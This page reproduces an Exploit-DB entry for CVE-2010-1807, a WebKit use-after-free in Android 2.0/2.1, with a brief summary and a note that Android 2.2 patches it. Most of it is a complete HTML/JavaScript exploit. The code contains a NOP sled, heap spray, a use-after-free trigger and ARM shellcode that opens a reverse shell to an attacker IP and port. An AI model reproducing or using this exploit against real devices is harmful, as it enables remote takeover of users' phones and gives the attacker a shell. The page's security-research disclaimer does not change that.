Android 2.0/2.1 Use-After-Free Remote Code Execution on Webkit

This exploit is a remote code execution vulnerability in Android 2.0/2.1 Webkit. It allows an attacker to execute arbitrary code on the vulnerable system. The vulnerability is triggered by creating a div element and setting its innerHTML to a specially crafted string. This causes a use-after-free condition which can be exploited to execute arbitrary code. The exploit code contains a NOP sled, shellcode, and IP address and port of the attacker's machine.

Mitigation:

The vulnerability is patched in Android 2.2. Users should update their devices to the latest version of Android.

Source

Exploit-DB raw data:

# Exploit Title: Android 2.0/2.1 Use-After-Free Remote Code Execution on
Webkit
# Date: 14/11/2010
# Author: Itzhak Avraham, mj
# Tested on: Droid 2.1
# CVE : CVE-2010-1807


*Better exploit (better rate and more flexible for changes, also shorter
shellcode) than what you have, plus, it's also verified. Enjoy!
More details at : *
http://imthezuk.blogspot.com/2010/11/float-parsing-use-after-free.html*


<html>
<head>
<script>
//This code is only for security researches/teaching purposes,use at your own risk!

// bug   =  webkit remote code execution CVE-2010-1807 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1807
//patched=  android 2.2, some said it works on some devices with 2.2.
//originally noticed/written by mj(good job man!)
//new exploit version by Itzhak Zuk Avraham (itz2000[AT]GMAIL[DOT]COM) - http://imthezuk.blogspot.com

var ip = unescape("\ua8c0\u0100"); // ip = 192.168.0.1
var port = unescape("\u3930"); //port 12345 (hex(0x3039))
//var ip = e.g: unescape("\u000a\u0202"); //ip = 10.0.2.2

function trigger()
        {
  var span = document.createElement("div");
  document.getElementById("BodyID").appendChild(span);
  span.innerHTML = -parseFloat("NAN(ffffe00572c60)"); //trigger use-after-free
        }
function exploit()
        {    
 var nop = unescape("\u33bc\u0057"); //LDREQH R3,[R7],-0x3C for nopping
 do
 {
  nop+=nop;
 } while (nop.length<=0x1000);
        var scode = nop+unescape("\u1001\ue1a0\u0002\ue3a0\u1001\ue3a0\u2005\ue281\u708c\ue3a0\u708d\ue287\u0080\uef00\u6000\ue1a0\u1084\ue28f\u2010\ue3a0\u708d\ue3a0\u708e\ue287\u0080\uef00\u0006\ue1a0\u1000\ue3a0\u703f\ue3a0\u0080\uef00\u0006\ue1a0\u1001\ue3a0\u703f\ue3a0\u0080\uef00\u0006\ue1a0\u1002\ue3a0\u703f\ue3a0\u0080\uef00\u2001\ue28f\uff12\ue12f\u4040\u2717\udf80\ua005\ua508\u4076\u602e\u1b6d\ub420\ub401\u4669\u4052\u270b\udf80\u2f2f\u732f\u7379\u6574\u2f6d\u6962\u2f6e\u6873\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u0002");
 scode += port;
 scode += ip;
 scode += unescape("\u2000\u2000");
        target = new Array();
        for(i = 0; i < 0x1000; i++)
           target[i] = scode;
        for (i = 0; i <= 0x1000; i++)
        {
         document.write(target[i]+"<i>");
                if (i>0x999)
         {
          trigger();
         }
        }
}
</script>
</head>
<body id="BodyID">
Enjoy!
<script>
 exploit();
</script>
</body>
</html>

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